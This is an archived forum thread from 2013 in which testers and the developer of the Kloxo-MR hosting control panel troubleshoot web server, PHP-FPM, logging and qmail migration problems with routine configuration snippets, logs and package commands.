If you are seeing this page when you try to access an IP like http://192.168.1.1 (http://192.168.1.1), then that means that the IP has not yet been mapped to a domain. Go to client home -> ipaddresses -> ipaddress home -> domain config and map an IP to a domain.

Once you map an IP to a domain, then you have to make sure that the domain pings back to the same IP. Otherwise, if you try to access the domain, you will get this page. So IP -> domain.com should mean that domain.com pings to the same IP.

and logs inside /var/log/nginx/error.log:

Quote
2013/02/10 08:48:40 [emerg] 25859#0: unknown "rootdirhttp" variable
2013/02/10 08:49:40 [emerg] 25974#0: unknown "rootdirhttp" variable
2013/02/10 08:50:40 [emerg] 26200#0: unknown "rootdirhttp" variable
2013/02/10 08:51:40 [emerg] 26466#0: unknown "rootdirhttp" variable
2013/02/10 08:52:40 [emerg] 26719#0: unknown "rootdirhttp" variable
2013/02/10 08:53:40 [emerg] 27073#0: unknown "rootdirhttp" variable
2013/02/10 08:54:40 [emerg] 27336#0: unknown "rootdirhttp" variable
2013/02/10 08:55:41 [emerg] 27564#0: unknown "rootdirhttp" variable
2013/02/10 08:56:41 [emerg] 27838#0: unknown "rootdirhttp" variable
2013/02/10 08:57:41 [emerg] 27960#0: unknown "rootdirhttp" variable
2013/02/10 08:58:41 [emerg] 28166#0: unknown "rootdirhttp" variable
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 14:00:59
These chowns on 30 millions files takes ages to complete...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 14:04:15
Restarting httpd.event fixed the problem.

No only two problems left. Non-working IonCube and a lot of "NOTICES" popping out on my websites.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 14:41:17
Ok turned off notices and enabled IonCube, but /var/log/httpd/error_log takes almost 5GB after few seconds !!!
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-10, 14:50:49
Quote from: "Spacedust"
Ok turned off notices and enabled IonCube, but /var/log/httpd/error_log takes almost 5GB after few seconds !!!
Modified '/etc/httpd/conf/httpd.conf' for 'LogLevel warn' to 'LogLevel error'. Set 'LogLevel notice' make bigger log rather than 'warn' or 'error'.

Also, better you copy '/home/apache/etc/conf/httpd.conf' to '/home/apache/etc/conf/custom.httpd.conf' and modified 'LogLevel' like '/etc/httpd/conf/httpd.conf'.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 15:02:14
Quote from: "MRatWork"
Quote from: "Spacedust"
Ok turned off notices and enabled IonCube, but /var/log/httpd/error_log takes almost 5GB after few seconds !!!
Modified '/etc/httpd/conf/httpd.conf' for 'LogLevel warn' to 'LogLevel error'. Set 'LogLevel notice' make bigger log rather than 'warn' or 'error'.

Also, better you copy '/home/apache/etc/conf/httpd.conf' to '/home/apache/etc/conf/custom.httpd.conf' and modified 'LogLevel' like '/etc/httpd/conf/httpd.conf'.

Still tons of errors like this:

Quote
[Sun Feb 10 10:04:17 2013] [error] [client 176.9.95.8] FastCGI: server "/home/waldekm/daj.pl/komputery/komputery.daj.pl.0fake" stderr: PHP message: PHP Notice:  Use of undefined constant title - assumed 'title' in /home/waldekm/daj.pl/komputery/czytnik_rss.php(1) : eval()'d code on line 778
[Sun Feb 10 10:04:17 2013] [error] [client 176.9.95.8] FastCGI: server "/home/waldekm/daj.pl/komputery/komputery.daj.pl.0fake" stderr: PHP message: PHP Notice:  Use of undefined constant title - assumed 'title' in /home/waldekm/daj.pl/komputery/czytnik_rss.php(1) : eval()'d code on line 778
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 15:08:51
It's still not working my SSD drive is full ! How to turn off this logging !
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 15:21:28
Even completely disabling httpd logging is still causing very high logs !!!
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 15:58:38
OK. It should be ErrorLog Off.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 16:29:58
Please change "for activate" to "to activate" in .htaccess, because it's a very strange language error.

Also please add: "Do not edit this file using NotePad - it will cause Internal Server Error. Use WordPad instead".
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 18:58:11
Mustafa I've set my own values in php config but my customers are getting default Kloxo values.

Can you fix this ?

I will have to enter my own settings inside your files and then rebuild PHP.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 19:43:45
I'm testing php_fpm_event + Apache + nginxproxy and it do not work very well.

I think I need to tune some settings. What would you recommend for Intel Core i7 2600 3.4 GHz (8 threads), 32 GB DDR3 Dual Channel, 2xSSD 120 GB + 2xHDD 3 TB on Gigabit Ethernet ?

My settings for Apache:

Code: [Select]
<IfModule event.c>
    StartServers        8
    MaxClients          400
    MinSpareThreads     4
    MaxSpareThreads     8
    ThreadsPerChild     25
    MaxRequestsPerChild 100
    ThreadStackSize     8196
    MaxMemFree          2
    SendBufferSize      131072
    ReceiveBufferSize   131072
</IfModule>
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 20:16:00
If customer is changing his webmail then /script/fixweb is automatically runned !
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-10, 20:23:13
Quote from: "MRatWork"
IPTables not running because missing /etc/sysconfig/iptables and ip6tables files (content for firewall rules).

You are lucky for this situation because if above files exists but not match for you want (like no permit kloxo's port 7777/7778) and it's make this port not able to access.
Iptables is see a picture:
Centos 5.9:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-152304.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-152304.php)
Centos 6.x:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-152417.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-152417.php)
Is the same as for centos 5.9 which is OK.
Iptables6 is unnecessary anyway because Kloxo-MR does not support this protocol.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-10, 20:38:42
Quote from: "Viking"
Quote from: "MRatWork"
IPTables not running because missing /etc/sysconfig/iptables and ip6tables files (content for firewall rules).

You are lucky for this situation because if above files exists but not match for you want (like no permit kloxo's port 7777/7778) and it's make this port not able to access.
Iptables is see a picture:
Centos 5.9:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-152304.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-152304.php)
Centos 6.x:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-152417.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-152417.php)
Is the same as for centos 5.9 which is OK.
Iptables6 is unnecessary anyway because Kloxo-MR does not support this protocol.
ssh is working properly:
service iptables restart:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-153622.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-153622.php)

PS
Why can I not edit your posts?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-10, 22:00:40
What's the meaning of 'Why can I not edit your posts?'?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 23:03:22
Alternative PHP 5.2.17 via lxphp doesn't work - pages are showing Internal Server Error
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-10, 23:22:15
Quote from: "Spacedust"
Alternative PHP 5.2.17 via lxphp doesn't work - pages are showing Internal Server Error
Because secondary php use suphp, running 'fix-chownchown' very importance.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 23:26:23
Quote from: "MRatWork"
Quote from: "Spacedust"
Alternative PHP 5.2.17 via lxphp doesn't work - pages are showing Internal Server Error
Because secondary php use suphp, running 'fix-chownchown' very importance.

Thanks. BTW You are incorrectly using this word "importance" - it should be important ;)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-10, 23:35:06
Quote from: "Spacedust"
Quote from: "MRatWork"
Quote from: "Spacedust"
Alternative PHP 5.2.17 via lxphp doesn't work - pages are showing Internal Server Error
Because secondary php use suphp, running 'fix-chownchown' very importance.

Thanks. BTW You are incorrectly using this word "importance" - it should be important ;)
thanks about correction.

Php-fpm, fcgid and suphp_worker/_event not need apache optimize. Only mod_php/_ruid2/itk and 'pure' suphp need apache optimize.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-10, 23:41:02
Quote from: "MRatWork"
What's the meaning of 'Why can I not edit your posts?'?
There is no button to be able to make editing your posts. Before you can edit your posts.
So I wrote two posts.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 23:45:46
Quote from: "MRatWork"
Php-fpm, fcgid and suphp_worker/_event not need apache optimize. Only mod_php/_ruid2/itk and 'pure' suphp need apache optimize.

I've made some corrections and it seems all is working much better now.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-10, 23:48:13
Quote from: "Viking"
Quote from: "MRatWork"
What's the meaning of 'Why can I not edit your posts?'?
There is no button to be able to make editing your posts. Before you can edit your posts.
So I wrote two posts.
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-184815.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-184815.php)
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-10022013-184915.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-10022013-184915.php)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 17:31:48
Code: [Select]
[11-Feb-2013 12:29:44] WARNING: [pool aneta190673] server reached pm.max_children setting (5), consider raising it
How to increase this value properly ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-11, 17:45:16
Quote from: "Spacedust"
Code: [Select]
[11-Feb-2013 12:29:44] WARNING: [pool aneta190673] server reached pm.max_children setting (5), consider raising it
How to increase this value properly ?
Open '/etc/php-fpm.d/aneta190673.conf' and modified it. This content will be change if you run fixweb. So, better modified '/home/custom.php53-fpm-pool.conf.tpl' and then run 'sh /script/fixweb' (fixphpfpm still not work until next upload).
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 17:51:46
Quote from: "MRatWork"
Quote from: "Spacedust"
Code: [Select]
[11-Feb-2013 12:29:44] WARNING: [pool aneta190673] server reached pm.max_children setting (5), consider raising it
How to increase this value properly ?
Open '/etc/php-fpm.d/aneta190673.conf' and modified it. This content will be change if you run fixweb. So, better modified '/home/custom.php53-fpm-pool.conf.tpl' and then run 'sh /script/fixweb' (fixphpfpm still not work until next upload).

Ok. Thanks...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 19:04:35
Mustafa some of my customers are reporting 403 Forbidden Error on their domains or Kloxo "If you are seeing this page, it means that web has not been configured for this domain on this server." page.

Running /script/fixweb or readding domain didn't fixed the problem. What is the reason ?

This happens both on port 80 and port 30080...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-11, 19:11:36
Maybe related to ownership and permissions. Try fix-chownchmod
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 19:15:27
Quote from: "MRatWork"
Maybe related to ownership and permissions. Try fix-chownchmod

Why it doesn't work also for new subdomains ?

Example I got companydomain.com and I'm trying to add subdomain.companydomain.com - Kloxo is restarted but I still see "If you are seeing this page, it means that web has not been configured for this domain on this server." page...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 19:27:08
We should add client switch to this fix-chownchmod script. It will take a lot of time to check all customers...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 20:25:20
Fixed chown-chmod and still site is showing 403 error. Can you help ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 20:44:46
kill -9 httpd.event fixed the problem for main domain which was readded. I will try readding all customer subdomains.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-11, 20:56:36
Re-adding all domains fixed this problem. Don't know what it was ;/
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-11, 21:10:45
There are something wrong with 'addDomain' process where need 'userlist'. Fortunely this process need need 'userlist'.

Still confuse for me, why taken 'userlist' on fixweb running well but failed on 'addDomain'.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 00:17:18
Mustafa there is something really wrong with PHP. I've set my own values inside php-fpm config and /etc/php.ini + .htaccess files, but phpinfo is still reporting 64M memory limit :/
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-12, 00:49:50
For using php-fpm, need restart php-fpm after modified config.

Php_value inside .htaccess only understand by mod_php/_ruid2/_itk. Suphp and fcgi don't know php_value but they have separate php.ini. Php-fpm only understand php_value inside their pool config.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 00:56:52
Quote from: "MRatWork"
For using php-fpm, need restart php-fpm after modified config.

Php_value inside .htaccess only understand by mod_php/_ruid2/_itk. Suphp and fcgi don't know php_value but they have separate php.ini. Php-fpm only understand php_value inside their pool config.

I've restarted httpd - Isn't this enough ?

There are so many troubles when I do restart /etc/init.d/php-fpm - php-fpm says that - I need to do kill -9 httpd.event.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 00:58:11
Something like this:

Code: [Select]
[root@xxx /]# /etc/init.d/php-fpm restart
Stopping :P  php-fpm:                                     [FAILED]
Wait 2 seconds...
Uruchamianie php-fpm: [11-Feb-2013 19:59:53] ERROR: unable to bind listening socket for address '127.0.0.1:52405': Address already in use (98)
[11-Feb-2013 19:59:53] ERROR: FPM initialization failed
                                                           [FAILED]
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-12, 01:18:27
Quote from: "Spacedust"
Something like this:

Code: [Select]
[root@xxx /]# /etc/init.d/php-fpm restart
Stopping :P  php-fpm:                                     [FAILED]
Wait 2 seconds...
Uruchamianie php-fpm: [11-Feb-2013 19:59:53] ERROR: unable to bind listening socket for address '127.0.0.1:52405': Address already in use (98)
[11-Feb-2013 19:59:53] ERROR: FPM initialization failed
                                                           [FAILED]
Need reboot, except you know how to kill apps which use 52405 port.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 01:28:14
Quote from: "MRatWork"
Quote from: "Spacedust"
Something like this:

Code: [Select]
[root@xxx /]# /etc/init.d/php-fpm restart
Stopping :P  php-fpm:                                     [FAILED]
Wait 2 seconds...
Uruchamianie php-fpm: [11-Feb-2013 19:59:53] ERROR: unable to bind listening socket for address '127.0.0.1:52405': Address already in use (98)
[11-Feb-2013 19:59:53] ERROR: FPM initialization failed
                                                           [FAILED]
Need reboot, except you know how to kill apps which use 52405 port.

Got it !

Code: [Select]
pkill -o php-fpm
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 01:28:38
Quote from: "Spacedust"
Quote from: "MRatWork"
Quote from: "Spacedust"
Something like this:

Code: [Select]
[root@xxx /]# /etc/init.d/php-fpm restart
Stopping :P  php-fpm:                                     [FAILED]
Wait 2 seconds...
Uruchamianie php-fpm: [11-Feb-2013 19:59:53] ERROR: unable to bind listening socket for address '127.0.0.1:52405': Address already in use (98)
[11-Feb-2013 19:59:53] ERROR: FPM initialization failed
                                                           [FAILED]
Need reboot, except you know how to kill apps which use 52405 port.

Got it !

Code: [Select]
pkill -o php-fpm

Finally I'm on 128MB memory limit and php-fpm pool is started so php-fpm is working fine new customers too - please add this immediately in Kloxo ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 01:32:59
BTW - How far we are with httpd 2.4 integration ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 02:39:28
nginx is missing in watchdog
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 04:13:16
We can use /etc/init.d/php-fpm reload to load the new config with having to reboot ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 04:24:21
Quote from: "Spacedust"
We can use /etc/init.d/php-fpm reload to load the new config with having to reboot ;)

Just tested and it works fine. No need to restart Apache or reboot.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-12, 14:14:01
Spacedust,

Memory limit just enough 64M as I set. This value more then default value of Php (32M). Yes, certain user need more and better his/her customize for their need.

Watchdog always listening port 80. Depend on webserver. If webserver is nginx-proxy, Kloxo-MR will restart nginx, httpd and php-fpm if watchdog think port 80 down/off.

Yes, this approach not perfect. Imagine, nginx running and httdp stop and then watchdog not try restart httpd because they think app on port 80 running well.

Detection will be more difficul if user change port 30080/30443 to another port (say it 8080).

I think better watchdog detect ready on next release (6.5.1).
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 17:09:39
I've tuned some php-fpm settings and now pages are flying. Still some customers got:

Code: [Select]
[12-Feb-2013 12:10:39] WARNING: [pool gajrys] server reached pm.max_children setting (15), consider raising it

So I will try increasing to 20.

Load average is now reduced from 18-30 to 6-10 !!!
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-12, 19:27:54
@Mustafar

Today i updated to version 6.5.0.c.2013021101 and after run script cleanup
Smtp problem fixed can now send receive mails from smtp client programs.. (ps: applyed also a mod inside /var/qmail/supervise/smtp/run *removed blacklist check cause all client dynamic ips were marked in some lists)

Also can we use nginx special version with cache or still have issues?

@spacedust
If you'd like can you share some php-fpm settings? Did u run varnish with apache with these settings or can it be used with nginx also .?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 19:33:09
Quote from: "djscooby"
@spacedust
If you'd like can you share some php-fpm settings? Did u run varnish with apache with these settings or can it be used with nginx also .?

Simple:

Code: [Select]
pm.max_children = 20
pm.min_spare_servers = 2
pm.max_spare_servers = 4
request_terminate_timeout = 300s
request_slowlog_timeout = 300s
php_admin_value[memory_limit] = 128M
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-12, 19:44:49
Nginx-special still have a problem. Will be fix after backup/restore issues.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-12, 19:45:44
Quote from: "MRatWork"
Nginx-special still have a problem. Will be fix after backup/restore issues.

Can't install the new version:

Code: [Select]
[root@localhost kloxo]# wget https://github.com/mustafaramadhan/kloxo/raw/dev/kloxo-install/kloxo-packer.sh --no-check-certificate
--2013-02-12 14:44:49--  https://github.com/mustafaramadhan/kloxo/raw/dev/kloxo-install/kloxo-packer.sh
Translacja github.com... 207.97.227.239
??czenie si? z github.com|207.97.227.239|:443... po??czono.
??danie HTTP wys?ano, oczekiwanie na odpowied?... 404 Not Found
2013-02-12 14:44:50 B??D 404: Not Found.

Don't use Varnish with nginxproxy unless you want to change everything inside RAM and have completely static content. Nginx can also work with memcached so there is no point to use it.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-12, 19:54:26
Read again viewtopic.php?f=4&t=644 (http://forum.mratwork.com/viewtopic.php?f=4&t=644)

Installing have change procedures. Just running kloxo-mr-dev.sh on your vps.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-13, 01:17:25
Mustafa one of my customers is reporting that he is not able to use a Wordpress plugin licence because of this:

_SERVER["SERVER_ADDR"]   127.0.0.1

Is there any possibility to change this ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-13, 01:44:23
Quote from: "Spacedust"
Mustafa one of my customers is reporting that he is not able to use a Wordpress plugin licence because of this:

_SERVER["SERVER_ADDR"]   127.0.0.1

Is there any possibility to change this ?
If license process able communicate via other port (say it 30080 or other) it's possible to fix this issue.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-13, 14:30:22
@spacedust

Thanks for sharing settings mate.. i will try them today with nginx and apache and run some beck's..

@mustafar

Is it possible to implement some nginx rewrite rules for nginx and opencart ?
I tested opencart yesterday with nginx and it seems that nginx cant define the language so all characters except english appears strange.. also seo urls wont work at all..
With apache everything works fine as it reads .htacess file..

If it helps i found those rules
Code: [Select]
 location / {
     if ($host != 'www.example.com') {
             rewrite ^/(.*)$ http://www.example.com/$1 permanent;
     }
     try_files $uri @opencart;
 }

 location @opencart {
     rewrite ^/(.+)$ /index.php?_route_=$1 last;
 }

     location /admin/ {
     index index.php;
     }

 location ~* (.(tpl|ini))$ {
       deny all;
 }

I havent test them yet i will do it when i got home, can you please guide me on where to apply them and if its compatible with kloxo mr nginx conf please ?
Thanks
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-13, 23:52:11
Mustafa I'm still using Qmail from lxcenter repo with Kloxo-MR and my customers are reporting that when they use forwarding to different mail servers mails are being rejected with message:

Quote
<xxx@poczta.fm>:
User and password not set, continuing without authentication.
217.74.65.64 does not like recipient.
Remote host said: 554 5.7.1 <xxx@poczta.fm>: Sender address rejected: Sender address rejected: Unknown domain
Giving up on 217.74.65.64.

What should I do ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 00:42:36
I still cannot update to the new version.

dev.zip is not unpacking !

Sent PM with details.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 09:01:08
At latest update, you can run 'sh /script/convert-to-qmailtoaster' to use Kloxo-MR qmail-toaster instead qmail-lxcenter
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 16:39:47
Quote from: "MRatWork"
At latest update, you can run 'sh /script/convert-to-qmailtoaster' to use Kloxo-MR qmail-toaster instead qmail-lxcenter

I need to test this on VirtualBox. I don't want non-working emails for a few hours.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 17:14:07
I've found another problem while installing:

Code: [Select]
Excluding Packages in global exclude list
Finished
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
Excluding Packages from Kloxo-MR - release-version-x86_64
Finished
Excluding Packages from Kloxo-MR - release-version-noarch
Finished
0 packages excluded due to repository protections
Setting up Install Process
Package httpd-2.2.23-3.el5.x86_64 already installed and latest version
No package courier-authlib-toaster available.
No package courier-imap-toaster available.
No package maildrop-toaster available.
No package qmail-pop3d-toaster available.
No package qmail-toaster available.
No package ripmime-toaster available.
No package vpopmail-toaster available.
Resolving Dependencies
--> Running transaction check
---> Package fetchmail.x86_64 0:6.3.6-4.el5 set to be updated
--> Processing Dependency: smtpdaemon for package: fetchmail
--> Running transaction check
---> Package exim.x86_64 0:4.63-10.el5 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package            Arch            Version                 Repository     Size
================================================================================
Installing:
 fetchmail          x86_64          6.3.6-4.el5             base          536 k
Installing for dependencies:
 exim               x86_64          4.63-10.el5             base          1.2 M

Transaction Summary
================================================================================
Install       2 Package(s)
Upgrade       0 Package(s)

Total download size: 1.8 M
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 17:21:06
Something trouble with /etc/yum.repos.d/kloxo-mr.repo.

When update (but your Kloxo-MR still using qmail-lxcenter), kloxo-mr-dev.sh will be copy kloxo-mr_lxcenter.repo to kloxo-mr.repo and then continue installing process.

After this, run 'sh /script/convert-to-qmailtoaster' (Kloxo-MR will be copy kloxo-mr_mratwork.repo) and than continue converting process.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 17:37:14
Quote from: "MRatWork"
Something trouble with /etc/yum.repos.d/kloxo-mr.repo.

When update (but your Kloxo-MR still using qmail-lxcenter), kloxo-mr-dev.sh will be copy kloxo-mr_lxcenter.repo to kloxo-mr.repo and then continue installing process.

After this, run 'sh /script/convert-to-qmailtoaster' (Kloxo-MR will be copy kloxo-mr_mratwork.repo) and than continue converting process.

Now qmail conflicts with exim which should be removed too:

Quote
Resolving Dependencies
--> Running transaction check
---> Package autorespond-toaster.x86_64 0:2.0.5-1.4.0.mr.el5 set to be updated
---> Package clamav-toaster.x86_64 0:0.97.6-1.4.2.mr.el5 set to be updated
---> Package courier-authlib-toaster.x86_64 0:0.59.2-1.3.10.mr.el5 set to be updated
---> Package courier-imap-toaster.x86_64 0:4.1.2-1.3.10.mr.el5 set to be updated
---> Package daemontools-toaster.x86_64 0:0.76-1.3.6.mr.el5 set to be updated
---> Package ezmlm-toaster.x86_64 0:0.53.324-1.3.7.mr.el5 set to be updated
---> Package libdomainkeys-toaster.x86_64 0:0.68-1.3.6.mr.el5 set to be updated
---> Package libsrs2-toaster.x86_64 0:1.0.18-1.3.6.mr.el5 set to be updated
---> Package maildrop-toaster.x86_64 0:2.0.3-1.3.8.mr.el5 set to be updated
---> Package qmail-pop3d-toaster.x86_64 0:1.03-1.3.22.mr.el5 set to be updated
---> Package qmail-toaster.x86_64 0:1.03-1.3.22.mr.el5 set to be updated
---> Package ripmime-toaster.x86_64 0:1.4.0.6-1.3.6.mr.el5 set to be updated
---> Package simscan-toaster.x86_64 0:1.4.0-1.4.0.mr.el5 set to be updated
---> Package spamassassin-toaster.x86_64 0:3.3.2-1.4.3.mr.el5 set to be updated
---> Package ucspi-tcp-toaster.x86_64 0:0.88-1.3.9.mr.el5 set to be updated
---> Package vpopmail-toaster.x86_64 0:5.4.33-1.4.1.mr.el5 set to be updated
--> Processing Conflict: qmail-toaster conflicts exim
--> Finished Dependency Resolution
qmail-toaster-1.03-1.3.22.mr.el5.x86_64 from kloxo-mr-release-version-arch has depsolving problems
  --> qmail-toaster conflicts with exim
Error: qmail-toaster conflicts with exim
 You could try using --skip-broken to work around the problem
 You could try running: package-cleanup --problems
                        package-cleanup --dupes
                        rpm -Va --nofiles --nodigest
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 17:41:52
exim is dependend on mdadm and fetchmail.

Is it safe to remove mdadm when having software RAID ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 17:50:21
Running /script/cleanup will take ages. Is there any way to skip dns/web/ftp checking ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 18:14:11
Try remove conflict 'rpm -e exim --nodeps' instead 'yum remove exim'.

I found something trouble remove vpopmail (from lxcenter) without 'rpm -e --noscripts vpopmail'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 18:26:58
Quote from: "MRatWork"
Try remove conflict 'rpm -e exim --nodeps' instead 'yum remove exim'.

I found something trouble remove vpopmail (from lxcenter) without 'rpm -e --noscripts vpopmail'

Removed, but found more issues: viewtopic.php?f=14&t=1161 (http://forum.mratwork.com/viewtopic.php?f=14&t=1161)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 18:41:46
I found something trouble with qmail-lxcenter latest update (Danny update some packages).

Try force remove with 'yum remove vpopmail qmail spamassassin *-toaster'. And testing again still with 'yum list vpopmail qmail spamassassin *-toaster'.

If already not exists, run again 'sh /script/convert-to-qmailtoaster --force'.

I didn't found issue when convert my servers except server for this forum (because my fault before update).
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 19:09:09
Is this ok ?

Quote
Available Packages
autorespond-toaster.x86_64        2.0.5-1.4.0.mr.el5       kloxo-mr-release-version-arch
clamav-toaster.x86_64             0.97.6-1.4.2.mr.el5      kloxo-mr-release-version-arch
courier-authlib-toaster.x86_64    0.59.2-1.3.10.mr.el5     kloxo-mr-release-version-arch
courier-imap-toaster.x86_64       4.1.2-1.3.10.mr.el5      kloxo-mr-release-version-arch
daemontools-toaster.x86_64        0.76-1.3.6.mr.el5        kloxo-mr-release-version-arch
ezmlm-toaster.x86_64              0.53.324-1.3.7.mr.el5    kloxo-mr-release-version-arch
libdomainkeys-toaster.x86_64      0.68-1.3.6.mr.el5        kloxo-mr-release-version-arch
libsrs2-toaster.x86_64            1.0.18-1.3.6.mr.el5      kloxo-mr-release-version-arch
maildrop-toaster.x86_64           2.0.3-1.3.8.mr.el5       kloxo-mr-release-version-arch
qmail-pop3d-toaster.x86_64        1.03-1.3.22.mr.el5       kloxo-mr-release-version-arch
qmail-toaster.x86_64              1.03-1.3.22.mr.el5       kloxo-mr-release-version-arch
ripmime-toaster.x86_64            1.4.0.6-1.3.6.mr.el5     kloxo-mr-release-version-arch
simscan-toaster.x86_64            1.4.0-1.4.0.mr.el5       kloxo-mr-release-version-arch
spamassassin.x86_64               1:3.3.2-7.el5.art        atomic
spamassassin-toaster.x86_64       3.3.2-1.4.3.mr.el5       kloxo-mr-release-version-arch
ucspi-tcp-toaster.x86_64          0.88-1.3.9.mr.el5        kloxo-mr-release-version-arch
vpopmail-toaster.x86_64           5.4.33-1.4.1.mr.el5      kloxo-mr-release-version-arch
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 19:10:39
error: package vpopmail is not installed
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 19:18:29
warning: group vchkpw does not exist - used group root
warning: user vpopmail does not exist - used root account
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-14, 19:26:00
I got a lot of messages while booting the server: hostname unknown host
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-14, 19:44:38
Quote from: "Spacedust"
warning: group vchkpw does not exist - used group root
warning: user vpopmail does not exist - used root account
Check if /home/vpopmail exist or not. If exist, vpopmail user and vchkpw group not create.

So, install vpopmail-toaster need NO /home/vpopmail.

This is content of /script/convert-to-qmailtoaster (plus my comment/note):
Code: [Select]
#!/bin/sh

if rpm -q qmail-toaster 2>&1 > /dev/null ; then
echo
echo "Mail server already use qmail-toaster"
echo
if ! [ "$1" == "--force" ] ; then
exit
fi
else
echo
echo "Mail server already use qmail from LxCenter"
echo "Convert processing..."
echo
fi

#remove qmail-lxcenter first
yum remove qmail vpopmail *-toaster -y

# then use kloxo-mr of mratwork edition
cp -f /usr/local/lxlabs/kloxo/file/kloxo-mr_mratwork.repo /etc/yum.repos.d/kloxo-mr.repo

# for to make sure, need clear yum cache
yum clean all
